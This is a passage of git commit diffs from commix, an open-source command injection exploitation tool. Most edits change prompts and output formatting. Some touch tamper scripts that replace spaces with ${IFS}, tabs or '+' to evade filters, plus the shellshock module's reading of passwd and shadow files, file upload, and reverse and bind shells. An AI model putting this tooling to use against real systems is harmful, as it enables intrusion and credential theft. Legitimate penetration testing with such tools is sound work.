menu.enumeration_options(): fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if not menu.file_access_options() and not menu.options.os_cmd: - if not settings.VERBOSITY_LEVEL != 0 and new_line: - print(settings.SINGLE_WHITESPACE) - # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) break elif file_access_again in settings.CHOICE_NO: @@ -575,10 +572,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) try: # Pseudo-Terminal shell @@ -591,7 +584,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.SINGLE_WHITESPACE) if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 34e1aa2c08..f09f0ec1ec 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -541,6 +541,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.VERBOSITY_LEVEL <= 1: print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(output)) + print(settings.SINGLE_WHITESPACE) else: err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) @@ -550,17 +551,23 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - + if settings.ENUMERATION_DONE: + settings.ENUMERATION_DONE = False + if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): + if settings.ENUMERATION_DONE == True: + print(settings.SINGLE_WHITESPACE) powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True + if settings.ENUMERATION_DONE == False: + settings.ENUMERATION_DONE = True if menu.options.hostname: if settings.ENUMERATION_DONE == True: print(settings.SINGLE_WHITESPACE) hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True + if settings.ENUMERATION_DONE == False: + settings.ENUMERATION_DONE = True if menu.options.current_user: if settings.ENUMERATION_DONE == True: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 9dedbf135b..bc848a3aef 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -141,7 +141,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, cmd = "'" + cmd + "'" dest_to_write = path + "\\" + filname else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write + cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 46f957538e..96cd13a702 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -458,18 +458,19 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.TARGET_OS == "win": time.sleep(1) - new_line = False + new_line = True # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: - new_line = True + new_line = False break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. @@ -482,20 +483,20 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : - print(settings.SINGLE_WHITESPACE) + if settings.ENUMERATION_DONE == True and new_line: + print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: - if not new_line: - new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. @@ -506,6 +507,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) pass else: + print(settings.SINGLE_WHITESPACE) tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. @@ -520,9 +522,6 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if not new_line : - print(settings.SINGLE_WHITESPACE) - try: # Pseudo-Terminal shell go_back = False @@ -530,7 +529,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 643403a2b8..50739f4335 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -105,7 +105,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " gotshell = _common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") @@ -125,7 +125,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): elif cmd.lower() == "?": menu.os_shell_options() elif cmd.lower() == "os_shell": - warn_msg = "You are already into the '" + cmd.lower() + "' mode." + warn_msg = "You are into the '" + cmd.lower() + "' mode." print(settings.print_warning_msg(warn_msg))+ "\n" elif cmd.lower() == "reverse_tcp": warn_msg = "This option is not supported by this module." diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 6aa656162e..5a45db8d81 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -140,7 +140,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " gotshell = _common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") @@ -160,7 +160,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): elif cmd.lower() == "?": menu.os_shell_options() elif cmd.lower() == "os_shell": - warn_msg = "You are already into the '" + cmd.lower() + "' mode." + warn_msg = "You are into the '" + cmd.lower() + "' mode." print(settings.print_warning_msg(warn_msg))+ "\n" elif cmd.lower() == "reverse_tcp": warn_msg = "This option is not supported by this module." diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 8f84a3c02d..100625df54 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -581,7 +581,7 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r # The "os_shell" option elif os_shell_option == "os_shell": - warn_msg = "You are already into the '" + os_shell_option + "' mode." + warn_msg = "You are into the '" + os_shell_option + "' mode." print(settings.print_warning_msg(warn_msg))+ "\n" # The "bind_tcp" option @@ -706,10 +706,10 @@ def shellshock_handler(url, http_request_method, filename): # Enumeration options. if settings.ENUMERATION_DONE == True : - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to enumerate again? [Y/n] > " + message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) @@ -728,7 +728,7 @@ def shellshock_handler(url, http_request_method, filename): # File access options. if settings.FILE_ACCESS_DONE == True : while True: - message = "Do you want to access files again? [Y/n] > " + message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) @@ -747,8 +747,8 @@ def shellshock_handler(url, http_request_method, filename): if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL <= 1: + # print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) raise SystemExit() @@ -760,7 +760,7 @@ def shellshock_handler(url, http_request_method, filename): while True: if go_back == True: break - message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index a7794af825..d362a27f1f 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -30,7 +30,7 @@ """ def shell_options(option): if option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." + warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() @@ -464,7 +464,7 @@ def bind_tcp_options(separator): \ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) if bind_tcp_option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + bind_tcp_option.lower() + "' mode." + warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue @@ -506,7 +506,7 @@ def configure_bind_tcp(separator): sys.stdout.write(settings.BIND_TCP_SHELL) option = _input() if option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." + warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue elif option.lower() == "?": diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 208407b0a3..1106bec498 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -35,7 +35,7 @@ """ def shell_options(option): if option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." + warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() @@ -678,7 +678,7 @@ def reverse_tcp_options(separator): \ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) if reverse_tcp_option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + reverse_tcp_option.lower() + "' mode." + warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue @@ -719,7 +719,7 @@ def configure_reverse_tcp(separator): sys.stdout.write(settings.REVERSE_TCP_SHELL) option = _input() if option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." + warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue if option.lower() == "?": diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index 1c64f58eb7..5fb02052cf 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -21,13 +21,17 @@ """ __tamper__ = "space2htab" +space2htab = "%09" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%09" - else: - settings.WHITESPACES.append("%09") + settings.WHITESPACES[0] = space2htab + elif space2htab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2htab) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 922c79c4f5..680ae99265 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -13,8 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -import sys -from src.utils import menu from src.utils import settings """ @@ -25,15 +23,21 @@ """ __tamper__ = "space2ifs" +space2ifs = "${IFS}" def tamper(payload): + if space2ifs in settings.WHITESPACES[0] and \ + settings.EVAL_BASED_STATE != False: + settings.WHITESPACES[0] = "\${IFS}" if settings.TARGET_OS != "win": settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "${IFS}" - else: - settings.WHITESPACES.append("${IFS}") - + settings.WHITESPACES[0] = space2ifs + elif space2ifs not in settings.WHITESPACES: + settings.WHITESPACES.append(space2ifs) + else: + if space2ifs in settings.WHITESPACES: + settings.WHITESPACES.remove(space2ifs) return payload # eof diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 49c288677e..e969ddb9b4 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -21,6 +21,7 @@ """ __tamper__ = "space2plus" +space2plus = "+" if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True @@ -28,10 +29,9 @@ def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "+" - else: - settings.WHITESPACES.append("+") - + settings.WHITESPACES[0] = space2plus + elif space2plus not in settings.WHITESPACES: + settings.WHITESPACES.append(space2plus) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 7e2bfca0f9..f2e9057300 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -21,15 +21,21 @@ """ __tamper__ = "space2vtab" +space2vtab = "%0b" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): if settings.TARGET_OS == "win": settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%0b" - else: - settings.WHITESPACES.append("%0b") - + settings.WHITESPACES[0] = space2vtab + elif space2vtab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2vtab) + else: + if space2vtab in settings.WHITESPACES: + settings.WHITESPACES.remove(space2vtab) return payload # eof \ No newline at end of file diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 5aa1802364..f91f9ec67e 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -277,10 +277,9 @@ def injection_point_exportation(url, http_request_method): def notification(url, technique, injection_type): try: if settings.LOAD_SESSION == True: - info_msg = "A previously stored session has been held against that host." - print(settings.print_info_msg(info_msg)) while True: - message = "Do you want to resume to the " + message = "A previously stored session has been held against that host. " + message += "Do you want to resume to the " message += "(" + injection_type.split(" ")[0] + ") " message += technique.rsplit(' ', 2)[0] message += " injection point? [Y/n] > " diff --git a/src/utils/settings.py b/src/utils/settings.py index 9e201716fc..2df0c86364 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "67" +REVISION = "68" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From dbcf2b25af05c3721c60c555dc851d7190aa63fc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 23 May 2022 08:06:09 +0300 Subject: [PATCH 145/560] Improvement regarding shellshock module --- doc/CHANGELOG.md | 1 + .../techniques/classic/cb_handler.py | 2 +- src/core/main.py | 7 +- src/core/modules/shellshock/shellshock.py | 290 +++++++++--------- src/core/shells/bind_tcp.py | 1 + src/core/shells/reverse_tcp.py | 1 + src/txt/shocker-cgi_list.txt | 1 + src/utils/settings.py | 2 +- 8 files changed, 149 insertions(+), 156 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index da59613613..7e842e4568 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Improvement regarding shellshock module. * Added: Support regarding parsing target(s) from piped-input (i.e. stdin). * Added: New option `--answers` to set user answers to asked questions during commix run. * Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 5e7079e6fe..425c6da347 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -437,7 +437,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) return False - else : + else: sys.stdout.write("\r") sys.stdout.flush() diff --git a/src/core/main.py b/src/core/main.py index 8e7df4fdaa..b322bd6d22 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -543,7 +543,7 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile: + if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: settings.OS_CHECKS_NUM = 1 for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): @@ -829,7 +829,8 @@ def main(filename, url): url_num += 1 output_href = output_href + bulkfile output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] - output_href = crawler.normalize_results(output_href) + if not menu.options.shellshock: + output_href = crawler.normalize_results(output_href) settings.CRAWLING_PHASE = False else: filename = None @@ -859,7 +860,7 @@ def main(filename, url): url_num = 0 for url in clean_output_href: http_request_method = check_http_method(url) - if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: url_num += 1 print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 100625df54..4cb7296c0a 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -74,9 +74,8 @@ def enumeration(url, cve, check_header, filename): cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + info_msg = "The hostname is " + str(shell) + "." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -104,9 +103,8 @@ def enumeration(url, cve, check_header, filename): target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_arch: info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) + "." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -115,9 +113,8 @@ def enumeration(url, cve, check_header, filename): output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - info_msg = "The underlying operating system is " + target_os - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + info_msg = "The underlying operating system is " + target_os + "." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -150,29 +147,26 @@ def enumeration(url, cve, check_header, filename): output_file.close() if shell: if shell != "0": - sys.stdout.write(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() + print(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" and it is not privileged.\n") output_file.close() else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() + print(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" and it is privileged.\n") output_file.close() else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The current user is " + str(cu_account) + "." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + "\n" + info_msg = "The current user is " + str(cu_account) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -203,7 +197,7 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -218,9 +212,9 @@ def enumeration(url, cve, check_header, filename): sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.PASSWD_FILE + "'." + print(settings.SINGLE_WHITESPACE) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -283,7 +277,7 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") sys.stdout.flush() @@ -292,9 +286,8 @@ def enumeration(url, cve, check_header, filename): except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "'." + print(settings.print_warning_msg(warn_msg)) pass settings.ENUMERATION_DONE = True @@ -316,9 +309,9 @@ def enumeration(url, cve, check_header, filename): sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.SINGLE_WHITESPACE) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -368,7 +361,6 @@ def file_access(url, cve, check_header, filename): if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) raise SystemExit() if os.path.isfile(file_to_write): @@ -377,8 +369,7 @@ def file_access(url, cve, check_header, filename): content = "".join(str(p) for p in content).replace("'", "\"") else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) settings.FILE_ACCESS_DONE = True #------------------------------- @@ -404,9 +395,8 @@ def file_access(url, cve, check_header, filename): print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" - warn_msg += dest_to_write + "' file." + "\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += dest_to_write + "' file." + print(settings.print_warning_msg(warn_msg)) settings.FILE_ACCESS_DONE = True #------------------------------------- @@ -419,9 +409,8 @@ def file_access(url, cve, check_header, filename): _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as warn_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, " - warn_msg += "does not exist. (" + str(warn_msg) + ")\n" - sys.stdout.write(settings.print_critical_msg(warn_msg)) - sys.stdout.flush() + warn_msg += "does not exist. (" + str(warn_msg) + ")" + print(settings.print_critical_msg(warn_msg)) raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] @@ -451,9 +440,8 @@ def file_access(url, cve, check_header, filename): print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to upload the '" + dest_to_upload + "' file.\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += "to upload the '" + dest_to_upload + "' file." + print(settings.print_warning_msg(warn_msg)) settings.FILE_ACCESS_DONE = True #------------------------------------- @@ -477,23 +465,15 @@ def file_access(url, cve, check_header, filename): output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file.\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - 